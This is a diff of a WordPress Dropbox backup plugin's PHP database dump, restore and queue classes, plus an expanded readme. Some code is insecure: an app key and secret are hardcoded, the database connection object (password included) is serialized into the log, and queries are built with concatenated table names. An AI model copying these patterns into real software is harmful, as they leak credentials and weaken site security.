139
- {
140
- if (!mysqli_query($link, 'OPTIMIZE TABLE '.$row[0])) {
141
- $this->setError(mysqli_error($link));
142
- };
 
 
 
 
 
 
 
 
 
143
  }
144
- WPAdm_Core::log("Optimize Database Tables was Finished");
145
 
146
  }
147
 
148
  public function mysqldump($db, $filename) {
149
  $link = $this->connect($db);
150
- WPAdm_Core::log("MySQL of Dump was started");
151
  $tables = array();
152
- if (!$result = mysqli_query($link, 'SHOW TABLES')) {
153
- $this->setError(mysqli_error($link));
154
- };
155
- while($row = mysqli_fetch_row($result))
156
- {
 
 
 
 
 
 
 
 
 
 
 
157
  $tables[] = $row[0];
158
  }
159
 
160
- //cycle through
161
-
162
  $return = '';
163
- $charset = mysqli_get_charset($link);
164
- if (isset($charset->charset)) {
165
- $return .= "SET NAMES '{$charset->charset}';\n\n";
166
- WPAdm_Core::log("SET NAMES Database {$charset->charset};");
167
- }
168
  foreach($tables as $table)
169
  {
170
- WPAdm_Core::log("Add a table {$table} in the database dump");
171
- mysqli_close($link);
172
- $link = $this->connect($db);
173
- if (!$result = mysqli_query($link, 'SELECT * FROM ' . $table)) {
174
- $this->setError(mysqli_error($link));
175
- };
176
- $num_fields = mysqli_num_fields($result);
177
-
178
- $return.= 'DROP TABLE '.$table.';';
179
- if (!$ress = mysqli_query($link, 'SHOW CREATE TABLE ' . $table)) {
180
- $this->setError(mysqli_error($link));
181
- };
182
 
183
- $row2 = mysqli_fetch_row($ress);
 
 
 
 
 
184
  $return.= "\n\n".$row2[1].";\n\n";
185
-
186
- for ($i = 0; $i < $num_fields; $i++)
187
- {
188
- while($row = mysqli_fetch_row($result))
189
  {
190
- $return.= 'INSERT INTO '.$table.' VALUES(';
191
- for($j=0; $j<$num_fields; $j++)
192
- {
193
- //$row[$j] = mb_convert_encoding($row[$j], 'UTF-8', 'auto');
194
- $row[$j] = addslashes($row[$j]);
195
- $row[$j] = str_replace("\n","\\n",$row[$j]);
196
- if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
197
- if ($j<($num_fields-1)) { $return.= ','; }
 
 
 
 
 
198
  }
199
- $return.= ");\n";
200
  }
201
  }
202
  $return.="\n\n\n";
203
  }
204
-
205
- mysqli_close($link);
206
  $handle = fopen($filename,'w+');
207
  fwrite($handle,$return);
208
  fclose($handle);
209
- WPAdm_Core::log("MySQL of Dump was finished");
210
  return true;
211
  }
212
 
213
  private function setError($txt)
214
  {
215
- //WPAdm_Core::log($txt);
216
  throw new Exception($txt);
217
  }
218
 
219
  public function restore($db, $file)
220
  {
221
  $link = $this->connect($db);
222
- WPAdm_Core::log("Restore Database was started");
223
  $fo = fopen($file, "r");
224
  if (!$fo) {
225
- WPAdm_Core::log("Error in open file dump");
226
- $this->setError("Error in open file dump");
227
  return false;
228
  }
229
  $sql = "";
@@ -234,17 +155,17 @@ if (!class_exists('WPAdm_Mysqldump')) {
234
  if ($char_new !== false && $char_new != "\n") {
235
  $sql .= $char_new;
236
  } else {
237
- $ress = mysqli_query($link, $sql);
238
- if (!$ress) {
239
- $this->setError(mysqli_error($link));
240
- WPAdm_Core::log("MySQL Error: " . mysqli_error($link));
241
  break;
242
  };
243
  $sql = "";
244
  }
245
  }
246
  }
247
- WPAdm_Core::log("Restore Database was finished");
248
  }
249
  }
250
  }
8
  public $host = '';
9
  public $user = '';
10
  public $password = '';
11
+ public $dbh = null ;
12
 
13
  private function connect($db = '') {
14
  WPAdm_Core::log("----------------------------------------------------");
15
+ WPAdm_Core::log( langWPADM::get('Connecting to MySQL...' , false) );
16
+ if (! class_exists('wpdb')) {
17
+ require_once ABSPATH . '/' . WPINC . '/wp-db.php';
18
+ }
19
+ if ($this->dbh === null) {
20
+ $this->dbh = new wpdb( $this->user, $this->password, $db, $this->host );
21
+ $errors = $this->dbh->last_error;
22
+ if ($errors) {
23
+ $this->setError( langWPADM::get('MySQL Connect failed: ' , false) . $errors);
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
24
  }
25
+ if (isset($this->dbh->error->errors) && count($this->dbh->error->errors) > 0 ) {
26
+ $error = '';
27
+ foreach($this->dbh->error->errors as $key => $err) {
28
+ if ($key === 'db_connect_fail') {
29
+ $error .= "Connect fail: Check the number of connections to the database or \n";
30
+ }
31
+ $error .= strip_tags( implode("\n", ($err) ) );
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
32
  }
33
+ $this->setError( $error );
34
+ }
35
  }
36
+ return $this->dbh;
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
37
  }
38
 
39
  public function optimize($db) {
40
  $link = $this->connect($db);
41
+ WPAdm_Core::log( langWPADM::get('Optimize Database Tables was started' , false) );
42
+ $n = $link->query('SHOW TABLES');
43
+ $result = $link->last_result;
44
+ if (!empty( $link->last_error ) && $n > 0) {
45
+ $this->setError($link->last_error);
46
+ } else {
47
+ for($i = 0; $i < $n; $i++ ) {
48
+ $res = array_values( get_object_vars( $result[$i] ) );
49
+ $link->query('OPTIMIZE TABLE '. $res[0]);
50
+ if (!empty( $link->last_error ) ) {
51
+ $log = str_replace('%s', $res[0], langWPADM::get('Error to Optimize Table `%s`' , false) );
52
+ WPAdm_Core::log($log);
53
+ } else {
54
+ $log = str_replace('%s', $res[0], langWPADM::get('Optimize Table `%s` was successfully' , false) );
55
+ WPAdm_Core::log($log);
56
+ }
57
+ }
58
+ WPAdm_Core::log( langWPADM::get('Optimize Database Tables was Finished' , false) );
59
  }
 
60
 
61
  }
62
 
63
  public function mysqldump($db, $filename) {
64
  $link = $this->connect($db);
65
+ WPAdm_Core::log( langWPADM::get('MySQL of Dump was started' , false) );
66
  $tables = array();
67
+ WPAdm_Core::log( serialize($link) );
68
+ $n = $link->query('SHOW TABLES');
69
+ $result = $link->last_result;
70
+ if (!empty( $link->last_error )) {
71
+ $this->setError($link->last_error);
72
+ return false;
73
+ }
74
+ if ($link->last_result === null) {
75
+ /* foreach($link->error->errors as $key => $errors) {
76
+ if ($key == db_connect_fail)
77
+ }*/
78
+ $this->setError(print_r(implode("\n", $link->error->errors), 1));
79
+ return false;
80
+ }
81
+ for($i = 0; $i < $n; $i++ ) {
82
+ $row = array_values( get_object_vars( $result[$i] ) );
83
  $tables[] = $row[0];
84
  }
85
 
 
 
86
  $return = '';
 
 
 
 
 
87
  foreach($tables as $table)
88
  {
89
+ $log = str_replace('%s', $table, langWPADM::get('Add a table "%s" in the database dump' , false) );
90
+ WPAdm_Core::log( $log );
91
+ $num_fields = $link->query('SELECT * FROM ' . $table);
92
+ $result = $link->last_result;
93
+ if (!empty( $link->last_error ) && $n > 0) {
94
+ $this->setError($link->last_error);
95
+ }
96
+ $return.= 'DROP TABLE ' . $table.';';
 
 
 
 
97
 
98
+ $ress = $link->query('SHOW CREATE TABLE ' . $table);
99
+ $result2 = $link->last_result;
100
+ if (!empty( $link->last_error ) && $n > 0) {
101
+ $this->setError($link->last_error);
102
+ }
103
+ $row2 = array_values( get_object_vars( $result2[0] ) );
104
  $return.= "\n\n".$row2[1].";\n\n";
105
+ if ($num_fields > 0) {
106
+ for ($i = 0; $i < $num_fields; $i++)
 
 
107
  {
108
+ $row = array_values( get_object_vars( $result[$i] ) );
109
+ //WPAdm_Core::log('row' . print_r($row, 1));
110
+ $rows_num = count($row);
111
+ if ($rows_num > 0) {
112
+ $return.= 'INSERT INTO '.$table.' VALUES(';
113
+ for($j=0; $j < $rows_num; $j++)
114
+ {
115
+ $row[$j] = addslashes($row[$j]);
116
+ $row[$j] = str_replace("\n","\\n",$row[$j]);
117
+ if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
118
+ if ($j<($rows_num-1)) { $return.= ','; }
119
+ }
120
+ $return.= ");\n";
121
  }
122
+
123
  }
124
  }
125
  $return.="\n\n\n";
126
  }
127
+ unset($link);
 
128
  $handle = fopen($filename,'w+');
129
  fwrite($handle,$return);
130
  fclose($handle);
131
+ WPAdm_Core::log( langWPADM::get('MySQL of Dump was finished' , false) );
132
  return true;
133
  }
134
 
135
  private function setError($txt)
136
  {
 
137
  throw new Exception($txt);
138
  }
139
 
140
  public function restore($db, $file)
141
  {
142
  $link = $this->connect($db);
143
+ WPAdm_Core::log( langWPADM::get('Restore Database was started' , false) );
144
  $fo = fopen($file, "r");
145
  if (!$fo) {
146
+ WPAdm_Core::log( langWPADM::get('Error in open file dump' , false) );
147
+ $this->setError( langWPADM::get('Error in open file dump' , false) );
148
  return false;
149
  }
150
  $sql = "";
155
  if ($char_new !== false && $char_new != "\n") {
156
  $sql .= $char_new;
157
  } else {
158
+ $ress = $link->query($sql);
159
+ if (!empty( $link->last_error ) && $n > 0) {
160
+ $this->setError($link->last_error);
161
+ WPAdm_Core::log(langWPADM::get('MySQL Error: ' , false) . $link->last_error);
162
  break;
163
  };
164
  $sql = "";
165
  }
166
  }
167
  }
168
+ WPAdm_Core::log(langWPADM::get('Restore Database was finished' , false));
169
  }
170
  }
171
  }
modules/class-wpadm-queue.php CHANGED
@@ -64,7 +64,6 @@ if (!class_exists('WPAdm_Queue')) {
64
  $host = $pu['host'];
65
  $path = isset($pu['path']) ? $pu['path'] . "/" : "/" ;
66
 
67
- //WPAdm_Core::log('execute on host ' . $host);
68
  $data = array(
69
  'method' => 'queue_controller',
70
  'params' => array(
@@ -118,17 +117,18 @@ if (!class_exists('WPAdm_Queue')) {
118
  }
119
  if (!file_exists($done_file)) {
120
  $this->error = 'No result of the command';
121
- return false;
122
  } else {
123
  $queue = unserialize(file_get_contents($done_file));
124
  if (isset($queue['contexts'][0])) {
125
  $this->error = $queue['contexts'][0]->getError();
126
- return false;
127
  }
128
  }
129
  if (file_exists($done_file)) {
130
  unlink($done_file);
131
  }
 
 
 
132
  return true;
133
  }
134
 
64
  $host = $pu['host'];
65
  $path = isset($pu['path']) ? $pu['path'] . "/" : "/" ;
66
 
 
67
  $data = array(
68
  'method' => 'queue_controller',
69
  'params' => array(
117
  }
118
  if (!file_exists($done_file)) {
119
  $this->error = 'No result of the command';
 
120
  } else {
121
  $queue = unserialize(file_get_contents($done_file));
122
  if (isset($queue['contexts'][0])) {
123
  $this->error = $queue['contexts'][0]->getError();
 
124
  }
125
  }
126
  if (file_exists($done_file)) {
127
  unlink($done_file);
128
  }
129
+ if (!empty($this->error) ) {
130
+ return false;
131
+ }
132
  return true;
133
  }
134
 
class-wpadm-result.php → modules/class-wpadm-result.php RENAMED
@@ -1,117 +1,117 @@
1
- <?php
2
- if (!class_exists('WPAdm_Result')) {
3
- class WPAdm_Result {
4
- /*
5
- * Status of the request.
6
- * Can be either a "success" - the request is successful,
7
- * or "error" - in an error was encountered
8
- * @var string
9
- */
10
- private $result;
11
-
12
- /*
13
- * Text of the error that occurred during query execution
14
- * @var string
15
- */
16
- private $error = '';
17
-
18
- /*
19
- * Data obtained during query execution
20
- * @var mixed
21
- */
22
- private $data;
23
-
24
- /*
25
- * Total size of backup
26
- */
27
- private $size;
28
-
29
- const WPADM_RESULT_SUCCESS = 'success';
30
- const WPADM_RESULT_ERROR = 'error';
31
-
32
- public function __construct() {
33
- $this->result = WPAdm_Result::WPADM_RESULT_ERROR;
34
- }
35
-
36
- /**
37
- * @param mixed $data
38
- */
39
- public function setData($data)
40
- {
41
- $this->data = $data;
42
- }
43
-
44
- /**
45
- * @return mixed
46
- */
47
- public function getData()
48
- {
49
- return $this->data;
50
- }
51
-
52
- /**
53
- * @param string $error
54
- */
55
- public function setError($error)
56
- {
57
- WPAdm_Core::log($error);
58
- $this->error = $error;
59
- }
60
-
61
- /**
62
- * @return string
63
- */
64
- public function getError()
65
- {
66
- return $this->error;
67
- }
68
-
69
- /**
70
- * @param int $size
71
- */
72
- public function setSize($size)
73
- {
74
- $this->size = $size;
75
- }
76
-
77
- /**
78
- * @return int
79
- */
80
- public function getSize()
81
- {
82
- return $this->size;
83
- }
84
-
85
- /**
86
- * @param string $result
87
- */
88
- public function setResult($result)
89
- {
90
- $this->result = $result;
91
- }
92
-
93
- /**
94
- * @return string
95
- */
96
- public function getResult()
97
- {
98
- return $this->result;
99
- }
100
-
101
- public function exchangeArray(array $a) {
102
- $this->result = (isset($a['result'])) ? $a['result'] : '';
103
- $this->data = (isset($a['data'])) ? $a['data'] : '';
104
- $this->error = (isset($a['error'])) ? $a['error'] : '';
105
- $this->size = (isset($a['size'])) ? $a['size'] : '';
106
- }
107
-
108
- public function toArray() {
109
- return array(
110
- 'result' => $this->getResult(),
111
- 'error' => $this->getError(),
112
- 'data' => $this->getData(),
113
- 'size' => $this->getSize()
114
- );
115
- }
116
- }
117
  }
1
+ <?php
2
+ if (!class_exists('WPAdm_Result')) {
3
+ class WPAdm_Result {
4
+ /*
5
+ * Status of the request.
6
+ * Can be either a "success" - the request is successful,
7
+ * or "error" - in an error was encountered
8
+ * @var string
9
+ */
10
+ private $result;
11
+
12
+ /*
13
+ * Text of the error that occurred during query execution
14
+ * @var string
15
+ */
16
+ private $error = '';
17
+
18
+ /*
19
+ * Data obtained during query execution
20
+ * @var mixed
21
+ */
22
+ private $data;
23
+
24
+ /*
25
+ * Total size of backup
26
+ */
27
+ private $size;
28
+
29
+ const WPADM_RESULT_SUCCESS = 'success';
30
+ const WPADM_RESULT_ERROR = 'error';
31
+
32
+ public function __construct() {
33
+ $this->result = WPAdm_Result::WPADM_RESULT_ERROR;
34
+ }
35
+
36
+ /**
37
+ * @param mixed $data
38
+ */
39
+ public function setData($data)
40
+ {
41
+ $this->data = $data;
42
+ }
43
+
44
+ /**
45
+ * @return mixed
46
+ */
47
+ public function getData()
48
+ {
49
+ return $this->data;
50
+ }
51
+
52
+ /**
53
+ * @param string $error
54
+ */
55
+ public function setError($error)
56
+ {
57
+ WPAdm_Core::log($error);
58
+ $this->error = $error;
59
+ }
60
+
61
+ /**
62
+ * @return string
63
+ */
64
+ public function getError()
65
+ {
66
+ return $this->error;
67
+ }
68
+
69
+ /**
70
+ * @param int $size
71
+ */
72
+ public function setSize($size)
73
+ {
74
+ $this->size = $size;
75
+ }
76
+
77
+ /**
78
+ * @return int
79
+ */
80
+ public function getSize()
81
+ {
82
+ return $this->size;
83
+ }
84
+
85
+ /**
86
+ * @param string $result
87
+ */
88
+ public function setResult($result)
89
+ {
90
+ $this->result = $result;
91
+ }
92
+
93
+ /**
94
+ * @return string
95
+ */
96
+ public function getResult()
97
+ {
98
+ return $this->result;
99
+ }
100
+
101
+ public function exchangeArray(array $a) {
102
+ $this->result = (isset($a['result'])) ? $a['result'] : '';
103
+ $this->data = (isset($a['data'])) ? $a['data'] : '';
104
+ $this->error = (isset($a['error'])) ? $a['error'] : '';
105
+ $this->size = (isset($a['size'])) ? $a['size'] : '';
106
+ }
107
+
108
+ public function toArray() {
109
+ return array(
110
+ 'result' => $this->getResult(),
111
+ 'error' => $this->getError(),
112
+ 'data' => $this->getData(),
113
+ 'size' => $this->getSize()
114
+ );
115
+ }
116
+ }
117
  }
modules/constant.php ADDED
@@ -0,0 +1,49 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ if( !defined('WPADM_DIR_NAME') ) {
3
+ define('WPADM_DIR_NAME', 'wpadm_backups');
4
+ }
5
+
6
+ if( !defined('DROPBOX_BACKUP_DIR_NAME') ) {
7
+ define('DROPBOX_BACKUP_DIR_NAME', 'Dropbox_Backup');
8
+ }
9
+
10
+ if( !defined('DROPBOX_BACKUP_DIR_BACKUP') ) {
11
+ define('DROPBOX_BACKUP_DIR_BACKUP', WP_CONTENT_DIR . '/' . DROPBOX_BACKUP_DIR_NAME);
12
+ }
13
+
14
+ if (!defined('WPADM_DIR_BACKUP')) {
15
+ define('WPADM_DIR_BACKUP', WP_CONTENT_DIR . '/' . WPADM_DIR_NAME );
16
+ }
17
+
18
+ if (! defined("WPADM_URL_BASE")) {
19
+ define("WPADM_URL_BASE", 'http://secure.webpage-backup.com/');
20
+ }
21
+ if (! defined("WPADM_URL_PRO_VERSION")) {
22
+ define("WPADM_URL_PRO_VERSION", 'https://secure.wpadm.com/');
23
+ }
24
+
25
+ if (! defined("WPADM_APP_KEY")) {
26
+ define("WPADM_APP_KEY", 'nv751n84w2nif6j');
27
+ }
28
+
29
+ if (! defined("WPADM_APP_SECRET")) {
30
+ define("WPADM_APP_SECRET", 'qllasd4tbnqh4oi');
31
+ }
32
+
33
+ if (!defined("SERVER_URL_INDEX")) {
34
+ define("SERVER_URL_INDEX", "http://www.webpage-backup.com/");
35
+ }
36
+ if (!defined("PHP_VERSION_DEFAULT")) {
37
+ define("PHP_VERSION_DEFAULT", '5.2.4' );
38
+ }
39
+ if (!defined("MYSQL_VERSION_DEFAULT")) {
40
+ define("MYSQL_VERSION_DEFAULT", '5.0' );
41
+ }
42
+
43
+ if (!defined("PREFIX_BACKUP_")) {
44
+ define("PREFIX_BACKUP_", "wpadm_backup_");
45
+ }
46
+
47
+ if (!defined("SITE_HOME")) {
48
+ define("SITE_HOME", str_ireplace( array( 'http://', 'https://' ), '', home_url() ) );
49
+ }
errorHandler.php → modules/errorHandler.php RENAMED
File without changes
readme.txt CHANGED
@@ -1,46 +1,290 @@
1
- === DropBox Backup ===
2
- Plugin Name: DropBox Backup
3
- Version: 1.1
4
  Donate link: http://www.wpadm.com/donate
5
  URI: http://www.wpadm.com/dropbox-backup
6
- Tags: DropBox, Backup, Dropbox Backup, database, file, full backup, manage, sicherung, database backup, file backup, page backup, page, web, web backup, web page, web page backup, site, site backup, back up, cloud, Cloud Files, db backup, dump, german, migrate, multisite, Russian, schedule, storage, time, upload
7
- Requires at least: 4.0.0
8
- Tested up to: 4.2.2
9
  Stable tag: trunk
10
  License: GPLv2 or later
11
  License URI: http://www.gnu.org/licenses/gpl-2.0.html
12
  Author: WPAdm.com
13
  Contributors: WPAdm.com
14
 
15
- DropBox Backup Plugin to create DropBox Full Backup (Files + Database) of your Web Page
16
 
17
  == Description ==
18
 
19
- Supports WordPress backups to Local Storage or upload to DropBox.
20
 
21
- * Local Backup: create the Full Backup of Web Page (Files + Database) and store this at Local Storage of the Site
22
- * DropBox Backup: create the Full Backup (Files + Database) of Web Page at Local Storage and upload this to DropBox
23
 
 
24
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
25
 
26
  If you need help with the plugin or you want to report a bug please refer to http://www.wpadm.com/support/
27
 
28
  == Installation ==
29
 
30
- 1. Upload the plugin folder `DropBox Backup` to the `/wp-content/plugins/` directory of your WordPress installation.
31
  2. Activate the plugin through the `Plugins` menu in WordPress
32
 
33
 
34
 
35
- DropBox Backup Plugin have a settings section on WordPress plugin page.
36
  If you need help with the plugin or you want to report a bug please refer to http://www.wpadm.com/support/
37
 
38
  == Other ==
39
 
 
 
40
  Usefull additional functions can be found at www.wpadm.com in the User profile.
41
- DropBox Backup is a new plugin, so we tryed have to provide a bug-free plugin/widget. We are maintain this project.
42
 
43
  Information about privacy: AFTER the user has been registered at WPAdm service AND has confirmed their registration,
44
  our plugin will get the minimum requirements of php and mysql configuration, version and language of wordpress.
45
  This data will be send to WPAdm service, to get the plugin work correctly, to extend supported configurations of user sites with wpadm-extensions and support.
46
- WE DO NOT COLLECT AND DO NOT STORE THE PERSONAL DATA OF USERS FROM THIS PLUGIN!
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ === Dropbox Backup & Restore ===
2
+ Plugin Name: Dropbox Backup & Restore
3
+ Version: 1.3.1
4
  Donate link: http://www.wpadm.com/donate
5
  URI: http://www.wpadm.com/dropbox-backup
6
+ Tags: dropbox, backup, dropbox backup, database, file, full backup, manage, sicherung, database backup, file backup, page backup, page, web, web backup, web page, synchronize, clone, duplicate, move, web page backup, site, site backup, back up, cloud, Cloud Files, cloud backup, db backup, dump, german, migrate, multisite, German, schedule, storage, time, upload, data bank, zip, archive, backups, restore, db, recover, recovery, restoration, wp backup, wordpress backup, wordpress backup to dropbox, plugin wordpress backup, wpadm, wpadm.com, website, website backup, wp backup, wordpress backup
7
+ Requires at least: 3.9
8
+ Tested up to: 4.3.1
9
  Stable tag: trunk
10
  License: GPLv2 or later
11
  License URI: http://www.gnu.org/licenses/gpl-2.0.html
12
  Author: WPAdm.com
13
  Contributors: WPAdm.com
14
 
15
+ Dropbox Backup & Restore Plugin to create Dropbox Full Backup (Files + Database) or Restore, Duplicate, Clone or Migrate of your Website
16
 
17
  == Description ==
18
 
19
+ Supports WordPress Backup and Restore to/from Local Storage or upload Backups to Dropbox.
20
 
21
+ If you do not understand something or you have a questions, <br />
22
+ please, make a [support request](http://www.wpadm.com/support/) first!
23
 
24
+ **Features of website backup & website restore plugin:**
25
 
26
+ * Local Backup: create the Full Backup of Web Page (Files + Database) and store this at Local Storage of the Site;
27
+ * Dropbox Backup: create the Full Backup (Files + Database) of Web Page at Local Storage and upload this to Dropbox;
28
+ * Local Restore: restoration from Local backup at your website (web hosting);
29
+ * Dropbox Restore: restoration from Dropbox backup;
30
+ * With "dropbox backup & restore" plugin you can backup and restore WooCommerce shop inkl. Database with products;
31
+ * Notification loging on screen and in file;
32
+ * Use your own App key and App secret;
33
+ * Unlimited dropbox backups;
34
+ * Unlimited dropbox restores;
35
+ * Unlimited local backups;
36
+ * Unlimited local restores;
37
+ * Administrate ALL of Backups for ALL of your sites from one place – WPAdm-account (FULLY FREE);
38
+
39
+
40
+ You can create your WPAdm account for central Backup administration at http://www.wpadm.com
41
+ WPAdm account is FULLY FREE.<br /><br />
42
+
43
+ **PLEASE, READ CAREFULLY!** <br />
44
+ **If you like our plugin - please, make your own [review](https://wordpress.org/support/view/plugin-reviews/dropbox-backup). It will help us to develop and update website backup and website restore plugin for you!**<br />
45
+ **This is one of few WordPress backup plugins, who does a fully free support (plugin support!) for all of our users.<br />
46
+ Dropbox backup and restore plugin ask for FTP if your website (not this plugin!) have some troubles, in order that we could make support for you.<br />
47
+ Providing of these FTP DATA IS NOT OBLIGATORY, but if you do this, - our support staff will check your backup process and you will recive a feedback about results.<br />
48
+ It can take a while and some patience from you.<br />
49
+ We are not responsible for any 5хх-errors! Such errors caused in most cases (99,9%) by your server/hosting.<br />
50
+ For a little fee, we can help you solve problems of your server or hosting (to do this, we will need your FTP website access).<br />
51
+ Thank you for your understanding!**
52
+
53
+ **ALL INFORMATION, PROVIDED BY OUR USERS IS IN SAFETY AND USED FOR SUPPORT ONLY!**
54
 
55
  If you need help with the plugin or you want to report a bug please refer to http://www.wpadm.com/support/
56
 
57
  == Installation ==
58
 
59
+ 1. Upload the plugin folder `Dropbox Backup` to the `/wp-content/plugins/` directory of your WordPress installation.
60
  2. Activate the plugin through the `Plugins` menu in WordPress
61
 
62
 
63
 
64
+ Dropbox Backup Plugin have a settings section on WordPress plugin page.
65
  If you need help with the plugin or you want to report a bug please refer to http://www.wpadm.com/support/
66
 
67
  == Other ==
68
 
69
+ = Very easy and secure Dropbox Backup and Restoration (website / web page restore from backup) =
70
+
71
  Usefull additional functions can be found at www.wpadm.com in the User profile.
72
+ DropBox Backup is a new plugin, so we tryed to provide a bug-free plugin/widget. We are maintain this project.
73
 
74
  Information about privacy: AFTER the user has been registered at WPAdm service AND has confirmed their registration,
75
  our plugin will get the minimum requirements of php and mysql configuration, version and language of wordpress.
76
  This data will be send to WPAdm service, to get the plugin work correctly, to extend supported configurations of user sites with wpadm-extensions and support.
77
+ WE DO NOT COLLECT AND DO NOT STORE THE PERSONAL DATA OF USERS FROM THIS PLUGIN!
78
+
79
+
80
+
81
+ = Webpage Backup on Dropbox =
82
+
83
+ For security of your sites, webs hops or online portals is backup a must. With backup from www.webpage-backup.com you can secure backup and restore all your projects independent if it webpage or woocommerce shop as to make restoring from your backups. From security reasons it is impotent to schedule your backups, thereby your information or comments from your databases no go lost. Of course the more important for the security are (frequently) backups for woocommerce shops or multisite backups and there one click to restores from your backup drive. The woocommerce backups need more storage in cloud due to large files.
84
+ But in most cases it isn’t needed to make full backup. With help of our service webpage-backup.com you can select the folder or special databases that you must backup or to backup single webpage inside your hosting. But for our service it does not matter if the files are large or small, in case of the restoration it is the same. As well as for your local backup. Local backup are done on your hosting. If your hosting have enough space for backup it is ok, but it is not recommended. In most cases for storage your full backup on space of your hosting it is not enough space otherwise it is not safe enough, especially if something happen with your hosting or after some time you want to change your hosting provider. Additional if your make automate schedule backups or data base backups ever after some time the space on your backup drive will be full. For this reason the best is to use the Dropbox storage. Dropbox storage is scalable. Of course the scheduler dropbox backup it is not a must. You can make it manually and for free, but it easy to forget and the danger to lose your backup data are big. You must not to upload your dropbox backup on your PC or desktop you can directly restoring your webpage from dropbox drive. Independently of our service it is possible to downloading, uploading the data from the dropbox account. By dropbox backup with www.webpage-backup.com you can make exclusions of folders or by restoring import archives or whole bundle of archives. By dropbox backup or wep page cloning or migration of the sites it is important that all folders have permissions to write it is the same how permission to access the folder or to uploading it. For backup on dropbox it is does not matter if your site have ssl certificate or it is normal woocommerce shop without ssl certificate the same goes for migrating or for webpage clone. For our service www.webpage-backup.com it is important that our servise have permissions to the folders and to backup drive.
85
+
86
+ = Special functions =
87
+
88
+ To the special functions of our webpage backup doesn’t belong the migration, scheduler backup, cron backup, wpmu backup, shop backup and encryption by cloning, if you make some clone of your website or multisite clone. It is all normal functions of our plugin or service at our webpage www.webpage-backup.com. The most of this tools are free of charge, especially if you do it manually. But inside our multisite tools are other addons and functions. Addons for your pages or multisite (WPMU) peges you can add inside of your service account if you want. But for some of this function it is required to register on www.webpage-backup.com. For manage of multisites or just for one page menaging, for cron and scheduled dropbox backup as for full restoration of you WooCommerce shop, webpage or multisite as well as for migration - to register it is must. It is not possible to do full restoration of webpage from dropbox backup without the WordPress site self.
89
+
90
+ = Easy backup =
91
+
92
+ By draw up of our dropbox backup tools we try to do the backup or restoring ever for not experts and multisites owners, but with the same tools how for experts. For experts we have Buckup explorer where the expert can select or to do exclusion of files and webpages. As the register user you can use multiple dropbox account or create other multisite buckup drive clouds, how FTP or you can do the local backup on the site of your host. All automatically functions are inside of our service. To automatically tools belong: cron and scheduler, migrator and remote. Scheduled jobs for dropbox you can set in our calendar, it gives overview.
93
+
94
+ = Cloning, duplicate or migrate of websites =
95
+
96
+ Cloning, duplicate or migrate in principal all the function a same. It gives you the possibility quickly to create site clone with as “templates” for multiple site. This clone tool is very useful, if you have more than one webpage or, if you want to clone or duplicate your web page. With full backup of your old site or WooCommerce shop you can clone or duplicate, and create new clone of webshop or webpage with one click. All multisite backups functions are available from one dashboard of cloning tool, how multisite backup, as well as WPMU backup in the same cloud or in several cloud storages of hosting provider or just server. From same dashboard available clone restorations functions separate or in bundle, depend of your multisite backup settings. If your do so much settings you can remove not needed settings or clone of backup. The settings must be removed separately ever for multisite or clone. The backup dropbox storages must be removed separately too. Although it seems complicated to do automatic backup. With our backup plugin for backup, clone or migrate - you can make it without expert knowledge. Clone add-ons allow your easy backup or migrate your website or WPMU (multisite). "Dropbox backup" is just ultimate tool for WordPress that can worst your productivity by cloning of web pages, allowing you to do efficiently manage of cloned pages due clone or multisite installations.
97
+
98
+ = Easy data restoring =
99
+
100
+ For restoring your website (or multisite websites) selected files from the dashboard and then select files to restore. In backup list you see the type, date and size. From the list you can remove and select appropriate restoring file. In settings your can add or remove the cloud storage. In case of cloning you must restore your old webpage backup on other webpage. Cloning is the same how resorting but in more steps. The same bee meant for migrating of multisite and shops and there restore. With our file explorer you can match every file separately for restoration. In case of restoration only this files will be restore. You can restore one file than the next, but it easy to make restoring in bundle or directly to recover whole full backup. The restoration time depend from your hosting and upload rate as well as restoration depend from the file size witch must be restore. Scheduled restoring and recovering isn’t possible, unless somebody have special inquiry on our service to do scheduled recovering. The recover from the Dropbox cloud storage take time, depend from the web site size and right permissions of the folders of your hosting provider.
101
+
102
+ = What to do if recovering failed? =
103
+
104
+ First of all check the data spelling. It is most common mistake. Other common mistakes by recovering are:
105
+ * to recover from wrong cloud storage<br />
106
+ * if done alone database back up – not full and you can’t see the recover sites<br />
107
+ * by recovering process there was internet interruption<br />
108
+ * In your database are file exclusions<br />
109
+ * your database back up was not consistent<br />
110
+ * file archive of back up with a broken checksum<br />
111
+ * back up or restore from damaged cloud storage<br />
112
+ * misspelled back up due user failed restore<br />
113
+
114
+ Large file and big size databases need more time to recover. It can take from 30 min until two hours or more, depend from the size of your back up database, but for our recovery service it doesn’t matter for uploading of large files or small files. The difference between recover the large files and small is the time. <br />
115
+ After check all of this figures please write an email to our support team http://www.webpage-backup.com and we will try to answer as soon as possible and to give you’re the best solution how easy to recover your site.
116
+
117
+ If you see some of 5xx error codes, as return of your backup:<br />
118
